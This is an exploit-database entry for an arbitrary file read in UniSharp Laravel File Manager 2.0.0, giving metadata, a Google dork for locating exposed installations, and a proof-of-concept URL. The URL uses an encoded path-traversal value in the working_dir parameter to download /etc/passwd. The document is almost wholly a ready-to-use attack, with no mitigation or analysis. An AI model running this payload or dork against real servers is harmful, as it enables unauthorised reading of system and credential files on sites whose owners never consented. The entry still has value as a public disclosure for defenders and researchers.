UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read

Author: NgoAnhDuc
type: webapps
platform: php
port: 
date_added: 2020-03-04  
date_updated: 2020-03-04  
verified: 0  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 48166.txt  
# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
# Date: 2020-02-04
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
# Software Link: https://github.com/UniSharp/laravel-filemanager
# Version: v2.0.0-alpha8 & v2.0.0
# Tested on: v2.0.0-alpha8 & v2.0.0
# CVE : N/A

PoC:

http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd